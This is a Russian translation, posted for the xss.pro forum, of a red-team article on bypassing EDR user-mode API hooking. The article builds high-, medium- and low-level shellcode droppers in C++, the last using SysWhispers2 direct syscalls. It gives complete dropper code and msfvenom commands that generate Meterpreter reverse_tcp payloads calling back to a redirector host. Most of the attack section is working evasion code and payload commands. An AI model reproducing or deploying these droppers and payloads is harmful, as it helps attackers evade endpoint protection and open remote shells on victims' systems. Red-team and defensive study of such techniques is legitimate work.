Как антивирусные (AV), так и продукты обнаружения и реагирования на конечных точках (EDR) используют разные механизмы защиты от вредоносного ПО. Для динамической проверки потенциально вредоносного кода в контексте API Windows большинство EDR сегодня реализуют принцип перехвата API пользовательского режима. Проще говоря, это метод, при котором код, выполняемый в контексте Windows API, например VirtualAlloc или его собственного API NtAllocateVirtualMemory, намеренно перенаправляется EDR в собственный файл hooking.dll. В Windows среди прочих можно выделить следующие типы перехвата:
- Перехват встроенного API
- Перехват таблицы адресов импорта (IAT)
- Перехват SSDT (ядро Windows)
До появления Kernel Patch Protection (KPP), также известного как Patch Guard, антивирусные продукты могли реализовывать свои перехваты в ядре Windows, например, с помощью перехвата SSDT. Благодаря Patch Guard Microsoft предотвратила это из соображений стабильности операционной системы. Большинство проанализированных мной EDR в основном полагаются на встроенное перехват API. Технически встроенный перехват представляет собой 5-байтовую ассемблерную инструкцию (также называемую прыжком или батутом), которая вызывает перенаправление на EDR hooking.dllдо того, как системный вызов будет выполнен в контексте соответствующего собственного API. Перенаправление назад hooking.dll на системный вызов в ntdll.dll происходит только в том случае, если исполняемый код, проанализированный Hooking.dll, оказался безвредным. В противном случае выполнение соответствующего системного вызова предотвращается компонентом Endpoint Protection (EPP) комбинации EPP/EDR. На следующем рисунке показана упрощенная иллюстрация того, как перехват API пользовательского режима работает с EDR.
Если вы внимательно посмотрите на техническую структуру архитектуры Windows 10, то заметите, что ntdll.dll пользовательского режима представляет собой наименьший общий знаменатель перед переходом на ядро Windows. По этой причине некоторые известные EDR помещают свои встроенные перехватчики в специально выбранные собственные API в ntdll.dll. Хорошо, если это так просто, то EDR может просто подключиться ко всем нативным API и превратить нашу жизнь, Red Team, в ад. К счастью, с точки зрения Red Teamer, это невозможно по соображениям производительности. Проще говоря, перехват API требует ресурсов, времени и т. д., и чем больше EDR замедляет работу ОС, тем хуже для EDR.
В результате EDR обычно перехватывают только избранные API, которые часто используются злоумышленниками в сочетании с вредоносным ПО. К ним относятся собственные API, такие как NtAllocateVirtualMemory и NtWriteVirtualMemory.
Если вы хотите проверить свой собственный EDR, чтобы узнать, перенаправляется ли он или какие API функции перенаправляются на собственный hooking.dll EDR путем встроенного перехвата, вы можете использовать отладчик, такой как WinDbg. Для этого запустите на конечной точке программу с установленным EDR, например блокнот, а затем подключитесь к работающему процессу через WinDbg. Обратите внимание: если вы совершите ту же ошибку, что и я вначале, и загрузите notepad.exe напрямую как изображение в отладчик, вы не обнаружите никаких хуков в API, потому что в этом случае EDR еще не умеет внедрить это Hooking.dll в адресное пространство notepad.exe.
Следующая команда извлекает адрес памяти нужного API, в данном случае адрес собственного API NtAllocateVirtualMemory, который находится в ntdll.dll.
x ntdll!NtAllocateVirtualMemory
Затем адрес памяти можно будет определить на следующем шаге с помощью следующей команды, и вы получите содержимое собственного API NtAllocateVirtualMemory в формате асма.
u 00007ff8`16c4d3b0
На следующем рисунке показано сравнение конечной точки без установленного EDR и без перехватчика и конечной точки с установленным EDR, которая использует встроенное перехват в пользовательском режиме для собственных API в ntdll.dll. На конечной точке с установленным EDR четко видна 5-байтовая инструкция перехода (jmp) Как упоминалось ранее, эта инструкция вызывает перенаправление на EDR hooking.dll перед возвратом к ntdll.dll и выполнением системного вызова.
Если вы хотите быть уверены, что инструкция перехода действительно вызывает перенаправление на EDR hooking.dll, вы можете проверить это, например, с помощью x64dbg. Если вы проследите по адресу инструкции перехода подключенного API, например, NtAllocateVirtualMemoryв памяти (следуйте в дизассемблере), вы увидите перенаправление на файлы hooking.dll. Название hooking.dll намеренно пикселизировано, чтобы невозможно было идентифицировать EDR.
Последствия для Красной команды
С точки зрения красной команды, метод перехвата пользовательского режима приводит к тому, что EDR затрудняет или делает невозможным выполнение вредоносных программ, таких как шелл-код. По этой причине Red Teamer, а также злоумышленники используют различные методы для обхода перехватчиков пользовательского режима EDR. Среди прочего, следующие методы используются индивидуально, а также в сочетании, например, отключение API и прямые системные вызовы.
- API-отключение
- Прямые системные вызовы
- Косвенные системные вызовы
В этой статье я сосредоточусь только на технике прямого системного вызова, т. е. позже я реализую прямые системные вызовы в дроппере, пытаясь таким образом избежать получения соответствующих системных вызовов из ntdll.dll где некоторые EDR размещают свои перехватчики пользовательского режима. Теперь основы прямых системных вызовов и перехватов пользовательского режима должны быть понятны, и можно начинать разработку модуля прямого системного вызова.
Шаг 1. API высокого уровня
На первом этапе я сознательно пока не использую прямые системные вызовы, а начинаю с классической реализации через Windows API, которые получаются через расширение kernel32.dll. POC может быть создан как новый проект C++ (консольное приложение) в VS, и код может быть принят на себя.
Техническая функциональность высокоуровневого API относительно проста и поэтому, на мой взгляд, идеально подходит для постепенного превращения высокоуровневого API-дроппера в дроппер прямого системного вызова. Код работает следующим образом.
Внутри основной функции определена переменная code, отвечающая за хранение шеллкода. Содержимое code хранится в разделе .text (код) структуры PE или, если шеллкод превышает 255 байт, шеллкод хранится в разделе .rdata.
unsigned char code[] = "\xa6\x12\xd9...";
Следующим шагом является определение указателя функции void*, который указывает на переменную exec и сохраняет адрес возврата выделенной памяти с помощью Windows API VirtualAlloc .
void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Функция memcpy копирует шеллкод из переменной code в выделенную память.
memcpy(exec, code, sizeof code);
И на последнем шаге шеллкод выполняется вызовом указателя функции ((void(*)())exec)().
((void(*)())exec)();
return 0;
Затем можно сгенерировать, например, шеллкод meterpreter и скопировать его в готовый высокоуровневый API-дроппер .
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=External_IPv4_Redirector LPORT=80 -f c
C:
#include <stdio.h>
#include <windows.h>
int main() {
// Insert Meterpreter shellcode
unsigned char code[] = "\xa6\x12\xd9...";
// Allocate Virtual Memory
void* exec = VirtualAlloc(0, sizeof code, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Copy shellcode into allocated memory
memcpy(exec, code, sizeof code);
// Execute shellcode in memory
((void(*)())exec)();
return 0;
}
Как упоминалось в начале, в этой статье я шаг за шагом покажу вам, как разработать собственный модуль прямого системного вызова на C++. Я также проведу простой анализ API в контексте разных дропперов (высокого, среднего и низкого) и сравню результаты. Для каждого дроппера я хочу проверить, из какой области PE-структуры вызываются используемые системные вызовы, проверить, кажется ли результат правдоподобным, и еще раз сравнить результаты. Будут использованы следующие инструменты.
API-Монитор -> Анализ API
VS Dumpbin -> Анализ API
x64dbg -> API и анализ системных вызовов
API-Monitor: API высокого уровня
Я использую программу API Monitor, чтобы проверить, какие API и правильные ли API используются в POC высокого уровня. В этом случае я проверяю, что Windows API VirtualAllocбыл импортирован с помощью kernel32.dll. Я также хочу посмотреть, есть ли правильный переход VirtualAlloc от NtAllocateVirutalMemory. Для корректной проверки необходимо фильтровать по правильным API. В контексте дроппера API высокого уровня я фильтрую следующие вызовы API:
- VirtualAlloc
- NtAllocateVirtualMemory
- RtlCopyMemory
- Создать CreateThread
- NtCreateThreadEx
На снимке экрана результата API Monitor показано, что, как и ожидалось, на первом этапе VirtualAlloc вызывается Windows API, а затем соответствующий собственный API вызывается из ntdll.dll через VirtualAlloc. Вы также можете видеть, что собственный API впоследствии был вызван правильно. Результат в API Monitor в целом в порядке.
Dumpbin корзина: API высокого уровня
Инструмент Visual Studio «Dumpbin» можно использовать для проверки того, какие API Windows импортированы через файлы kernel32.dll. Следующую команду можно использовать для проверки импорта.
cd C:\Program Files (x86)\Microsoft Visual Studio\2019\Community
dumpbin /imports high_level.exe
На следующем рисунке показано, что Windows API VirtualAlloc был импортирован правильно.
x64dbg: API высокого уровня
С помощью x64dbg я проверяю, из какой области PE-структуры дроппера API высокого уровня выполняется системный вызов нативного API NtAllocateVirtualMemory. Поскольку в этом дроппере еще не используются прямые системные вызовы, на рисунке показано, что системный вызов корректно выполняется из области .text файла ntdll.dll. Это исследование очень важно, поскольку далее в статье я ожидаю другого результата для POC низкого уровня и хочу сопоставить его.
Шаг 2. API среднего уровня
На этом этапе я сделаю первое расширение дроппера и заменю API-интерфейсы Windows (kernel32.dll) на собственные API (ntdll.dll) в дроппере API высокого уровня. В этом случае изменение относительно простое, поскольку необходимо заменить только Windows API VirtualAlloc на собственный API NtAllocateVirtualMemory . Кроме того, в код добавлены собственные API RtlCopyMemory и NtFreeVirtualMemory .
В отличие от API Windows, большинство Native API официально или частично не документированы Microsoft и поэтому не предназначены для разработчиков ОС Windows. Чтобы использовать собственные API в дроппере среднего уровня, мы должны вручную определить указатели функций для собственных функций API.
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
Если вы посмотрите на код дроппера среднего уровня, вы увидите, что импорт фактической функции используемых собственных API-интерфейсов по-прежнему выполняется через файл ntdll.dll.
PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory =
(PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
Например, если EDR устанавливает только свои перехватчики пользовательского режима в kernel32.dll, дроппера API среднего уровня должно быть достаточно для обхода перехватчиков EDR. Готовый код C++ для дроппера среднего уровня выглядит следующим образом.
C:
#include <stdio.h>
#include <windows.h>
#include <winternl.h>
// Define the NtAllocateVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTALLOCATEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect
);
// Define the NtFreeVirtualMemory function pointer
typedef NTSTATUS(WINAPI* PNTFREEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG FreeType
);
int main() {
// Insert Meterpreter shellcode
unsigned char code[] = "\xa6\x12\xd9...";
// Load the NtAllocateVirtualMemory function from ntdll.dll
PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory =
(PNTALLOCATEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
// Allocate Virtual Memory
void* exec = NULL;
SIZE_T size = sizeof(code);
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &exec, 0, &size, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// Copy shellcode into allocated memory
RtlCopyMemory(exec, code, sizeof code);
// Execute shellcode in memory
((void(*)())exec)();
// Free the allocated memory using NtFreeVirtualMemory
PNTFREEVIRTUALMEMORY NtFreeVirtualMemory =
(PNTFREEVIRTUALMEMORY)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFreeVirtualMemory");
SIZE_T regionSize = 0;
status = NtFreeVirtualMemory(GetCurrentProcess(), &exec, ®ionSize, MEM_RELEASE);
return 0;
}
API-Monitor: API среднего уровня
В этом случае следует также использовать API Monitor для проверки того, какие API используются дроппером среднего уровня. В этом случае API Monitor будет фильтровать следующие вызовы API:
- VirtualAlloc
- NtAllocateVirtualMemory
- RtlCopyMemory
- Создать CreateThread
- NtCreateThreadEx
- NtFreeVirtualMemory
На следующем рисунке показано, что дроппер среднего уровня больше не импортирует и не использует API-интерфейсы Windows. Другими словами, API-интерфейсы Windows больше не получаются через kernel32.dll.
Dumpbin API среднего уровня
В этом случае я также хотел бы проверить импортированные API-интерфейсы Windows с помощью дампа. Поскольку в этом случае POC среднего уровня получает только собственные API из ntdll.dll, на рисунке показано, что в контексте используемых нами API никакие API Windows не импортируются из kernel32.dll. Этот результат ожидаем и правдоподобен.
x64dbg: API среднего уровня
Поскольку в POC среднего уровня не используются прямые системные вызовы, с помощью x64dbg вы можете видеть, что системный вызов NtAllocateVirtualMemory правильно поступает из области .text файла ntdll.dll.
Шаг 3. API-интерфейсы низкого уровня
Третий шаг — это дальнейшее развитие дроппера среднего уровня в дроппер низкого уровня, т.е. сейчас я создаю настоящий дроппер прямого системного вызова. Спасибо моему приятелю Джонасу за то, что помог мне закончить дроппер низкого уровня.
Как упоминалось ранее, системные вызовы обычно выполняются с использованием собственных API-интерфейсов ntdll.dll. Это означает, что для того, чтобы иметь возможность использовать функции используемых собственных API и связанных с ними системных вызовов без доступа к ntdll.dll, их необходимо реализовать непосредственно в коде дроппера низкого уровня. В этом случае необходимый код реализуется в области .text дроппера низкого уровня.
К счастью, есть гениальные инструменты под названием SysWhispers2 от @Jackson_T который может автоматически генерировать необходимый код.
- syscalls.h
- syscalls.c
- syscallsstubs.std.x64.asm
Следующую команду можно использовать для создания необходимых файлов с помощью SysWhispers2. В этом случае я хочу избежать попадания ненужного кода в дроппер API низкого уровня, поэтому я указываю именно те Native API, которые мне нужны, с помощью параметра -f. В этом случае потребуются следующие собственные API и соответствующие системные вызовы в виде ассемблерного кода:
- NtAllocateVirtualMemory
- NtWriteVirtualMemory
- NtCreateThreadEx
- NtWaitForSingleObject
- NtClose
python syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtWaitForSingleObject,NtClose -a x64 -l masm --out-file syscalls
Затем файл syscalls.h можно добавить в проект VS в качестве заголовка, syscallsstubs.std.x64.asm (для x64) — в качестве ресурса и syscalls.cфайл — в качестве источника. Чтобы использовать код сборки из файла .asm в VS, опция Microsoft Macro Assembler (.masm) должна быть включена в разделе «Зависимости сборки/Настройки сборки». Дополнительные сведения см. в документации SysWhispers2 .
Кроме того, свойства файла syscallsstubs.std.x64.asm должны быть указаны следующим образом.
В этом случае дропперу также нужен код используемых нативных API и соответствующих системных вызовов, но большая разница по сравнению с дроппером среднего уровня в том, что код больше не делается через ntdll.dll (перехватывается EDR), а интегрируется ntdll.dll прямо в дроппер. Если вы сравните окончательный код дроппера низкого уровня с кодом дроппера среднего уровня, то заметите, что указатели функций на используемые нативные API находятся уже не в основном, а в заголовочном файле syscalls.h. Код, необходимый для функций и системных вызовов, находится в файле syscallsstubs.std.x64.asm.
C:
#include <iostream>
#include <Windows.h>
#include "syscalls.h"
int main() {
// Insert Meterpreter shellcode
unsigned char code[] = "\xa6\x12\xd9...";
LPVOID allocation_start;
SIZE_T allocation_size = sizeof(code);
HANDLE hThread;
NTSTATUS status;
allocation_start = nullptr;
// Allocate Virtual Memory
NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy shellcode into allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0);
// Execute shellcode in memory
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);
// Wait for the end of the thread and close the handle
NtWaitForSingleObject(hThread, FALSE, NULL);
NtClose(hThread);
return 0;
}
Если все сделано правильно, дроппер прямых системных вызовов готов и его можно скомпилировать.
API-Monitor: API низкого уровня
Даже после последнего изменения я хочу использовать API Monitor, чтобы проверить, какие API используются низкоуровневым дроппером. В этом случае API Monitor будет фильтровать следующие вызовы API:
- VirtualAlloc
- NtAllocateVirtualMemory
- RtlCopyMemory
- CreateThread
- NtCreateThreadEx
- NtFreeVirtualMemory
На следующем рисунке вы можете видеть, что импорт Native API также выполняется через файл ntdll.dll. ntdll.dll Этот результат мне на данный момент не совсем ясен, потому что с помощью низкоуровневого дроппера я не получаю собственные API через нативный API. В данном случае результат с API Monitor мне не кажется правдоподобным.
Dumpbin: API низкого уровня
Используя dumpbin, я еще раз проверяю, какие API Windows импортируются через файлы kernel32.dll. Опять же, никакие API-интерфейсы Windows не импортируются из собственных API-интерфейсов в контексте. Результат пока в порядке.
x64dbg: API-интерфейсы низкого уровня
Как уже известно, я не вызывал нативные API и соответствующие системные вызовы в низкоуровневом дроппере через ntdll.dll, а реализовал их непосредственно в дроппере. Это можно проверить с помощью x64dbg, просмотрев реализованные функции в low_level.exe. На следующем рисунке показано, что собственный API NtAllocateVirtualMemory реализован правильно.
На рисунке также показано, что syscall инструкция NtAllocateVirtualMemory правильно реализована в дроппере низкого уровня. Для этого я следую собственному API NtAllocateVirtualMemory в дизассемблере («Следовать в дизассемблере»), а затем использую «Следовать по карте памяти», чтобы показать, откуда syscall вызывается оператор. Как и ожидалось, вызов осуществляется из раздела .text PE - структуры low_level.exe ..
Бонусный раздел: Шеллкод как ресурс .bin.
В качестве дополнительной задачи я хочу реализовать, чтобы шелл-код meterpreter в дроппере прямого системного вызова сохранялся не как беззнаковый символ, а как ресурс в виде .bin-файла. Преимущество этого заключается в том, что дроппер также может быть оснащен бесступенчатым шеллкодом. Идея и фрагмент кода для этого не мои, а, как это часто бывает, из статьи ired.team. Я только что интегрировал фрагмент кода в дроппер системных вызовов.
Сначала я создаю бесступенчатую полезную нагрузку meterpreter с помощью msfvenom следующим образом.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=IPv4_redirector LPORT=80 -f raw > /tmp/code.bin
После этого шеллкод можно импортировать в проект VS в формате .bin в качестве ресурса.
C:
#include <iostream>
#include <Windows.h>
#include "syscalls.h"
#include "resource.h"
int main() {
// Insert shellcode
HRSRC codeResource = FindResource(NULL, MAKEINTRESOURCE(IDR_CODE_BIN1), L"CODE_BIN");
DWORD codeSize = SizeofResource(NULL, codeResource);
HGLOBAL codeResourceData = LoadResource(NULL, codeResource);
LPVOID codeData = LockResource(codeResourceData);
LPVOID allocation_start = nullptr;
SIZE_T allocation_size = codeSize;
HANDLE hThread = nullptr;
// Allocate Virtual Memory
NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, &allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Copy shellcode into allocated memory
NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, codeData, codeSize, NULL);
// Execute shellcode in memory
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocation_start, NULL, FALSE, NULL, NULL, NULL, NULL);
// Wait for the end of the thread and close the handle
NtWaitForSingleObject(hThread, FALSE, NULL);
NtClose(hThread);
return 0;
В следующей статье объясняется, что такое системный вызов, как он работает и для чего он используется в операционной системе Windows. Также было объяснено, что прямые системные вызовы — это метод, с помощью которого злоумышленники могут обойти механизм перехвата API, используемый EDR. Затем была начата разработка системы прямого системного вызова. В качестве основы был создан высокоуровневый API-дроппер с использованием Windows API VirtualAlloc. Затем API-интерфейсы Windows были заменены собственными API-интерфейсами для дальнейшей разработки в дроппер API среднего уровня. Наконец, фактический дроппер системных вызовов был создан путем замены всех собственных API прямыми системными вызовами или путем реализации собственных API и инструкций по сборке для прямых системных вызовов непосредственно в самом дроппере.
Кроме того, каждый дроппер проверялся на правдоподобие с помощью различных инструментов. Например, в случае с дроппером API высокого уровня легко проследился переход от Windows API VirtualAllocк к нативному API NtAllocateVirtualMemoryю Аналогичным образом, с помощью дроппера API среднего уровня API Monitor мог обнаружить, что ни один собственный API не используется правильно. Нечто подобное можно сделать с помощью дампа инструмента Visual Studio, проверив, какие API-интерфейсы Windows загружаются, kernel32.dll в таблицу адресов импорта соответствующего .exe-файла. Например, Windows API VirtualAlloc был правильно импортирован для дроппера высокого уровня, но не для дропперов среднего и низкого уровня.
Анализ дропперов с x64dbg тоже оказался весьма показательным. Например, можно было видеть, что системные вызовы для используемых собственных API были правильно загружены или выполнены из раздела .text ntdll.dll для дропперов высокого и среднего уровня. Для сравнения, для дроппера прямого системного вызова (API низкого уровня) необходимые системные вызовы для используемых собственных API были правильно загружены из раздела .text самого дроппера.
Лично я по-прежнему нахожу тему внутреннего устройства Windows, шелл-кода, вредоносного ПО, EDR и т. д. чрезвычайно интересной, моя страсть к этим темам не ослабевает, и я с нетерпением жду возможности углубиться в следующую тему.
Все примеры кода в этой статье также можно найти в моем аккаунте на Github.
Удачного взлома!
Дэниел Файхтер @VirtualAllocEx
Переведено специально для xss.pro
Автор перевода: yashechka
Источник:
Последнее редактирование: